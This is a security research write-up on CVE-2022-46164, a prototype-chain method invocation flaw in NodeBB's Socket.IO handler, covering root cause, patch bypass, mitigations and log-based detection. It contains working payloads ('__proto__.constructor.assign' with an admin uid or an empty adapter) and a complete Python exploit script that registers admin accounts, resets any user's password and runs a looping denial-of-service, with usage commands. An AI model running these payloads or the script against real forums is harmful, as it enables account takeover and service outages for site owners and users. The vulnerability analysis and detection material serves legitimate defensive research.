Back in January 2023, I tasked one of our web security interns, River Koh (@oceankex), to perform n-day analysis of CVE-2022-46164 as part of his internship with STAR Labs. The overall goal is to perform an objective assessment of the vulnerability based on the facts gathered. In addition, I challenged him to reproduce the vulnerability without referencing any other materials besides the textual contents of the official advisory by NodeBB.

About CVE-2022-46164

CVE-2022-46164 affects NodeBB, an open-source community forum platform built on Node.js with the addition of either a Redis, MongoDB, or PostgreSQL database. One of the features of the platform is the utilization of the Socket.IO for instant interactions and real-time notifications.

The relevant details of the advisory for CVE-2022-46164 by NodeBB is as follows:

Title: Account takeover via prototype vulnerability

Affected Versions: < 2.6.1

Patched Versions: 2.6.1

CVSS Score: Critical - 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L)

Impact: Due to a plain object with a prototype being used in socket.io message handling a specially crafted payload can be used to impersonate other users and takeover accounts.

Workarounds: Site maintainers can cherry-pick 48d1439 into their codebase to patch the exploit.

Upon further investigation, the following observations were made:

  • The vulnerability allows for arbitrary method invocation on an object inheriting the default Object.prototype.
    • By invoking built-in methods in the Object type, an adversary could overwrite properties of the Socket.IO connection.
  • It is possible to also crash the server using this vulnerability besides being able to achieve user impersonation and account takeover.
    • This means that the CVSSv3.1 score should be 9.8 instead of 9.4, with the CVSSv3.1 vector string being CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
  • The patch included in the v2.6.1 release was found to be insufficient in mitigating the vulnerability.
    • The vulnerability affects up to NodeBB v2.8.0 (i.e. NodeBB < v2.8.1).

Vulnerability Details

Note: Analysis of the vulnerability in this section is performed using NodeBB v2.6.0, which is vulnerable to CVE-2022-46164.

While NodeBB features a REST API to facilitate communication between the client and server, certain functions are executed via Socket.IO for lower latency interactions.

The NodeBB platform uses the Socket.IO library to establish WebSocket connections where possible, falling back to HTTP long-polling. The Socket.IO library enables custom event emission besides the default open, close, error, and message events. A standard Socket.IO message can be emitted using the .emit() method on the socket connection:

socket.emit(<event name>, <message data>)

NodeBB takes advantage of this feature to mimic the functionality of a traditional HTTP request. In src/socket.io/index.js, the Socket.IO event name is used to specify the “API route” and the message data is used to pass request parameters. Note that parameters sent can be of any type except function.

const eventName = payload.data[0];
const params = typeof payload.data[1] === "function" ? {} : payload.data[1];

While an API path is separated by slashes, the eventName is separated by dots. For example, the following code removes the admin role from the user with uid: 46.

socket.emit("admin.user.removeAdmins", ["46"])

To enable such functionality, NodeBB exports a set of methods and stores them within the Namespaces object in requireModules():

function requireModules() {
    const modules = [
        "admin",
        "categories",
        "groups",
        "meta",
        "modules",
        "notifications",
        "plugins",
        "posts",
        "topics",
        "user",
        "blacklist",
        "uploads",
    ];

    modules.forEach((module) => {
        Namespaces[module] = require(`./${module}`);
    });
}

For a user to perform an action on the platform, they would use eventName to specify which method to be invoked along and supply the parameters as the message body.

The following code snippet demonstrates how the eventName is used to invoke the specified method. To ensure that the specified function is valid, NodeBB performs a recursive lookup of the eventName, checking in each iteration that the specified property of the object is valid, in onMessage():

const parts = eventName.toString().split('.');
const namespace = parts[0];
const methodToCall = parts.reduce((prev, cur) => {
    if (prev !== null && prev[cur]) {
        return prev[cur];
    }
    return null;
}, Namespaces);

Each iteration performs the check prev !== null && prev[cur]. Herein lies the vulnerability. From MDN Web Docs:

Nearly all objects in JavaScript are instances of object; a typical object inherits properties (including methods) from Object.prototype

As long as the method is a property nested within Namespaces, it can be executed. However, since Namespaces was not initialised with Object.create(null), it contains the private property __proto__ that points to Object.prototype.

Namespaces.__proto__ === Object.prototype

From there, the constructor property of Object.prototype will return a reference to Object containing several built-in methods that we can call.

Namespaces.__proto__.constructor === Object

By examining the method invocation, one can observe how this is vulnerable:

if (methodToCall.constructor && 
    methodToCall.constructor.name === "AsyncFunction") {
    const result = await methodToCall(socket, params);
    callback(null, result);
} else {
    methodToCall(socket, params, (err, result) => {
        callback(err ? { message: err.message } : null, result);
    });
}

The intended functionality is to enable a user to call a function nested within the Namespaces object. However, it is possible to invoke built-in methods such as Object.assign() and Object.defineProperties(). These two methods are particularly useful because it allows us to overwrite properties of the socket object.

Achieving Administrator Impersonation

Unlike HTTP requests which are stateless, Socket.IO connections are stateful. This “state” stored within the socket object allows the server to identify the client and their associated permissions. NodeBB generally performs this authorisation check specified in a before() function of the module, which is executed right before the methodToCall() is invoked.

if (Namespaces[namespace].before) {
    await Namespaces[namespace].before(socket, eventName, params); // authorisation check
}

if (methodToCall.constructor && methodToCall.constructor.name === 'AsyncFunction') {
    const result = await methodToCall(socket, params); // methodToCall()
    callback(null, result);
} else {
    methodToCall(socket, params, (err, result) => { // methodToCall()
        callback(err ? { message: err.message } : null, result);
    });
}

The implementation of SocketAdmin.before() is shown below:

SocketAdmin.before = async function (socket, method) {
    const isAdmin = await user.isAdministrator(socket.uid);
    if (isAdmin) {
        return;
    }
    ...
}

Observe that the uid property of the socket object is the sole identifier used to determine which the corresponding access rights of a user. As such, overwriting uid to that of an admin user would therefore give us admin privileges. Assuming the default admin account uid: 1 is in use, the following payloads allows for subsequent events using the same Socket.IO connection to be executed with admin privileges.

socket.emit('__proto__.constructor.assign', {'uid':1})                     // overwrite uid using Object.assign(), or
socket.emit('__proto__.constructor.defineProperties', {'uid':{'value':1}}) // overwrite uid using Object.defineProperties()

Since user.isAdministrator(1) === true, subsequent events using the same Socket.IO connection can be executed with admin privileges. Once an attacker has achieved privilege escalation, they are able to register admin accounts. Logging in as an admin user would enable the attacker to compromise other accounts by changing the password and email of other accounts via the API.

Achieving Denial-of-Service

This vulnerability can also be used to crash the server. Instead of uid another property of the socket object is adapter. Socket.IO features an Adapter which is a server-side component responsible for broadcasting events to all or a subset of clients. When a socket connection is closed, Socket.IO calls the socket.adapter.delAll() function internally to remove it from other rooms. Therefore, overwriting the adapter property to {} would mean typeof socket.adapter.delAll === object (i.e. not function) resulting in an invalid function call and hence causing process to crash.

socket.emit('__proto__.constructor.assign', {'adapter':{}})
socket.disconnect()

When the process terminates, NodeBB tries to restart by spinning up another process. However, if multiple restarts are trigger in quick succession (more specifically, 3 restarts within 10 seconds), NodeBB will halt entirely.

[cluster] Child Process (66) has exited (code: 1, signal: null)
[cluster] Spinning up another process...
...
    at Object.onceWrapper (node:events:627:28)
    at WebSocket.emit (node:events:513:28)
    at WebSocket.onClose (/home/ocean/Code/NodeBB-2.6.0/node_modules/engine.io/build/transport.js:110:14)
    at Object.onceWrapper (node:events:628:26)
2023-02-01T08:10:19.268Z [4567/2035080] - info: [app] Shutdown (SIGTERM/SIGINT) Initialised.
2023-02-01T08:10:19.272Z [4567/2035080] - info: [app] Web server closed to connections.
2023-02-01T08:10:19.288Z [4567/2035080] - info: [app] Live analytics saved.
2023-02-01T08:10:19.304Z [4567/2035080] - info: [app] Database connection closed.
2023-02-01T08:10:19.304Z [4567/2035080] - info: [app] Shutdown complete.
3 restarts in 10 seconds, most likely an error on startup. Halting.

Exploit Conditions

To achieve user impersonation or account takeover, there must be at least one user in the database. No additional constraints were identified for achieving persistent denial-of-service.

An unauthenticated attacker is expected to be able to exploit this vulnerability reliably.

Proof-of-Concept

A proof-of-concept exploit script was created to automate the following:

  1. Execution of any methods as admin
  2. Registration of admin account
  3. Takeover any existing account

Exploit Script

# NodeBB (< v2.8.1) Arbitrary Method Invocation (CVE-2022-46164)
# Author: River Koh (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import socketio
import requests
import re
import random
import string
import argparse
from time import sleep

adminUID = 0
targetURL = ''

def callback(a, b):
    print(a, b)

def findAdmin(a, b):
    global adminUID
    if b != None and 'groupTitleArray' in b and 'administrators' in b['groupTitleArray']:
        adminUID = b['uid']

def DOS():
    while True:
        sio = socketio.Client()
        try:
            sio.connect(f'{targetURL}/socket.io')
            sio.emit('user.__proto__.constructor.assign', {'adapter':{}})
            sleep(0.5)
            sio.disconnect()
        except:
            sleep(0.1)

def RegisterAdminUser(username, password):
    userUID = 0
    def findUser(a, b):
        nonlocal userUID
        userUID = b['uid']
    # hijack admin session
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # take over admin session
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
    
    r = requests.session()
    headers = {"User-Agent": ""}
    # csrf token for registeration
    response = r.get(f'{targetURL}/register', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    # register 
    data = {"username": username, "password": password, "password-confirm": password, "token": '', "noscript": "false", "_csrf": csrf, "userLang": "en-US"}
    response = r.post(f"{targetURL}/register", headers=headers, data=data)
    # get csrf to complete registration
    response = r.get(f'{targetURL}/register/complete?registered=true', headers=headers)

    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    response = r.post(f"{targetURL}/register/complete/?_csrf={csrf}", headers=headers, data={'gdpr_agree_email':'on','gdpr_agree_data':'on','email':''})
    
    # get UID of registered user
    sio.emit('user.getUserByUsername', username, callback=findUser)
    sleep(1)
    # make user admin
    sio.emit('admin.user.makeAdmins', [userUID]) 
    sleep(1)
    sio.disconnect()    
    return username, password


def Takeover(user, adminUsername, adminPassword, userPassword):
    targetUserUID = 0
    def findTarget(a, b):
        nonlocal targetUserUID
        if b == None:
            print('User does not exist')
            quit()
        targetUserUID = b['uid']
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    # take over admin session
    sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 

    # login to admin account
    r = requests.session()
    headers = {"User-Agent": ""}
    response = r.get(f'{targetURL}/login', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    data = {"username": adminUsername, "password": adminPassword, "remember": "on", "_csrf": csrf, "noscript": "false"}
    response = r.post(f'{targetURL}/login', headers=headers, data=data)

    # get UID of registered user
    sio.emit('user.getUserByUsername', user, callback=findTarget)
    sleep(1)
    response = r.get(f'{targetURL}/groups/administrators', headers=headers)
    csrf = re.search('(?<=("csrf_token":"))[A-z0-9\\-]*', response.text).group()
    headers = {"User-Agent": "", "x-csrf-token": csrf}
    response = r.put(f"{targetURL}/api/v3/users/{targetUserUID}/password", headers=headers, json={"newPassword": userPassword})

    if 'ok' in response.text:
        print('Admin credentials: ', f'{adminUsername}:{adminPassword}')
        if user != '':
            print('Target credentials: ', f'{user}:{userPassword}')
            
    sio.disconnect()    

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", action="store", help="target user")
    parser.add_argument("-t", "--targetURL", action="store", help="URL hosting NodeBB")
    parser.add_argument("-p", "--password", action="store", help="Set new password to overwrite")
    parser.add_argument("-C", "--command", action="store", help="Websocket command to be executed")
    parser.add_argument("-P", "--params", action="store", help="Websocket command to be executed")
    parser.add_argument("-r", "--register", action="store", help="Register new account with admin priviledges")
    parser.add_argument("-d", "--dos", action="store_true", help="DOS")
    args = parser.parse_args()

    targetURL = args.targetURL
    defaultPassword = args.password if args.password else 'password11'

    # find admin account
    sio  = socketio.Client()
    sio.connect(f'{targetURL}/socket.io')
    uid = 0
    while adminUID == 0:
        sio.emit('user.getUserByUID', uid, callback=findAdmin)
        uid+=1
        sleep(1)
    sio.disconnect()

    if args.dos:
        DOS()
    elif args.command and args.params:
        sio  = socketio.Client()
        sio.connect(f'{targetURL}/socket.io')
        sio.emit('user.__proto__.constructor.assign', {'uid':adminUID}) 
        sio.emit(args.command, args.params, callback = callback)
        sleep(1)
        sio.disconnect()
    elif args.register: # register admin
        r = requests.get(f'{targetURL}/api/v3/users/bySlug/{args.register}', allow_redirects=False)
        if r.status_code != 404:
            print('Username taken')
            quit()
        user, pwd = RegisterAdminUser(args.register, defaultPassword)
        print(user,":", pwd)
    elif args.user: # takeover user account
        user, pwd = RegisterAdminUser(''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=15)), defaultPassword)
        Takeover(args.user, user, pwd, defaultPassword)

Example Usage

Install the following dependencies:

$ pip install requests argparse python-socketio[client]

Execute any methods as admin:

$ python3 poc.py --targetURL http://localhost:4567 --command user.getUserByUsername --params user1

Register an admin account:

$ python3 poc.py --targetURL http://localhost:4567 --register user1234 --password password22

Takeover any existing account:

$ python3 poc.py --targetURL http://localhost:4567 --user user1234 --password password22

Trigger persistent Denial-of-Service:

$ python3 poc.py --targetURL http://localhost4567 --dos

Patch Analysis

v2.6.1

As per the official advisory for this vulnerability, commit 48d1439 in NodeBB v2.6.1 containing a one-liner fix should be cherry-picked into existing codebase to patch the vulnerability.

- const Namespaces = {};  
+ const Namespaces = Object.create(null);  

This patch attempts to prevent the invocation of Object.assign() and other similar methods by removing the prototype of the Namespaces object. Since the first lookup returns null due to Namespaces.__proto__ === null, the exploit fails when attempting to trigger Object.assign() or Object.defineProperties() via Namespaces.__proto__.

Although commit 48d1439 prevents access to the Namespaces object’s prototype, the patch is insufficient to eradicate the vulnerability as modules stored within Namespaces are objects with inherited prototypes. Consequently, an attacker would still be able to traverse the prototype chain via a property within Namespaces to reach Object.assign() or Object.defineProperties(). Such traversal is also possible from functions themselves.

For example, the following modified payloads can be used to successfully bypass this incomplete patch:

socket.emit('user.__proto__.constructor.assign', {'uid':1})  
socket.emit('user.gdpr.__proto__.constructor.assign', {'uid':1})  
socket.emit('user.getUserByUID.__proto__.__proto__.constructor.assign', {'uid':1})  

To sufficiently mitigate the vulnerability, users should only be able to invoke the intended NodeBB functions and not any of the built-in JavaScript functions.

v2.8.1

Another patch was subsequently released to fix this vulnerability as part of NodeBB v2.8.1 in commit 586eed1:

- if (prev !== null && prev[cur]) {  
+ if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {  

The above patch adds an additional check to ensure that the property accessed is the object’s own property (as opposed to inheriting it). This effectively prevents lookups of the object prototype, thereby preventing invocation of the built-in methods such as Object.assign() and Object.defineProperties(). This patch sufficiently fixes the vulnerability.

Suggested Mitigations:

To effectively mitigate the vulnerability, users should upgrade to at least v2.8.1 where possible or cherry pick commits 48d1439 and 586eed1.

Detection Guidance:

WebSocket Logs

If Socket.IO logs are available through NodeBB Socket.IO logger (example shown below) or other means, it is possible to detect the exploitation of this vulnerability by checking for strings __proto__, prototype or constructor in the Socket.IO event names. These strings suggest attempts to traverse the object’s prototype chain rather than its own properties.

node_1 | io: 0 on [  
node_1 | {  
node_1 | type: 2,  
node_1 | nsp: '/',  
node_1 | data: [ 'user.__proto__.constructor.assign', { uid: 1 } ]  
node_1 | }  
node_1 | ]  

Socket.IO HTTP Long-polling

If establishing WebSocket connections is not possible, Socket.IO uses HTTP long-polling as fallback. This allows for detection with HTTP logs (NodeBB HTTP logger does not include Socket.IO messages, logs will have to be generated by other sources).

Incoming POST requests to the /socket.io/ endpoint containing strings __proto__, prototype, constructor should be flagged as exploitation attempts. However, since such HTTP logs are not generated by NodeBB, the payload has not been parsed by the Socket.IO library. Detection rules should hence account for JSON-specific escape sequences in the payload (e.g. \u0063onstructor) which might evade keyword matching.

Logs of Unsuccessful Exploitation Attempts

However, if Socket.IO logs are not available, detection may still possible with the default logging configuration. By default, no logs are generated for user or even admin activities. However, there are several cases where user activity might trigger an error producing logs. For instance, exploitation done while the server is experiencing an excessive load is detectable. When the rate limit of the server is exceeded, the previous 20 events in the socket history is logged.

node_1 | 2023-01-19T08:51:02.832Z [4567/45] - warn: Flooding detected! Calls : 101, Duration : 3787  
node_1 | 2023-01-19T08:51:02.833Z [4567/45] - warn: [socket.io] Too many emits! Disconnecting uid : 1. Events : __proto__.constructor.assign,...  

Additionally, the default logging configuration may capture unsuccessful attempts at exploitation. If an unauthorized user attempts to execute an admin function, the uid of the user is logged:

winston.warn(`[socket.io] Call to admin method ( ${method} ) blocked (accessed by uid ${socket.uid})`);  
throw new Error('[[error:no-privileges]]');  

Socket.IO messages received by the server with no event name specified would also trigger a warning.

if (!eventName) {  
    return winston.warn("[socket.io] Empty method name");  
}  

Normal user activities performed via a web browser should not trigger such logs. This is only possible by manually tampering with the Socket.IO messages and may point towards attempts to exploit the vulnerability.

Activity Timestamp

Finally, should there be other logs generated (by reverse proxies or load balancers), detection is possible by comparing the timestamp of admin activity with the account’s last online status. NodeBB stores an account’s last online timestamp. User interaction with the REST API would trigger the middleware which updates this timestamp. However user activity through WebSockets would not trigger timestamp updates. Since the authentication is done via the REST API, authorized users would have their timestamps updated.

$  python poc.py -t http://localhost:4567 -C user.getUserByUsername -P admin
None {'uid':1, 'username': 'admin', 'userslug': 'admin', 'email': '[email protected]', 'email:confirmed': 1, 'joindate': 1673275240794, 'lastonline': 1674980961652, ...}
$  python poc.py -t http://localhost:4567 -C admin.getServerTime -P {}
None {'timestamp': 1675011515770, 'offset': 0}
$  python poc.py -t http://localhost:4567 -C user.getUserByUsername -P admin
None {'uid':1, 'username': 'admin', 'userslug': 'admin', 'email': '[email protected]', 'email:confirmed': 1, 'joindate': 1673275240794, 'lastonline': 1674980961652, ...}

Therefore, it can be deduced that when the lastonline of a user is earlier than any logged activity from that account, an attacker has exploited the vulnerability to assume the identity of that user account.

Closing Thoughts

Often, security researchers have to work with rather limited information when evaluating and characterising both offensive and defensive aspects of n-day vulnerabilities to determine factors such as:

  • the validity of a vulnerability,
  • how the vulnerability can be exploited,
  • what security impact can be achieved,
  • how to mitigate the vulnerability,
  • how to detect exploitation of the vulnerability

Analysing n-day vulnerabilities is useful for uncovering if variants or mitigation bypasses exist, and doing so may help to discover new vulnerabilities too. In fact, there is another vulnerability (partly caused by a separate vulnerability upstream) affecting the Socket.IO message handler which was overlooked!

Lastly, thank you for reading! We hope you enjoyed this awesome n-day analysis by our former web security intern, River Koh, on this interesting vulnerability discovered and reported by Stephen Bradshaw (@SM_Bradshaw)!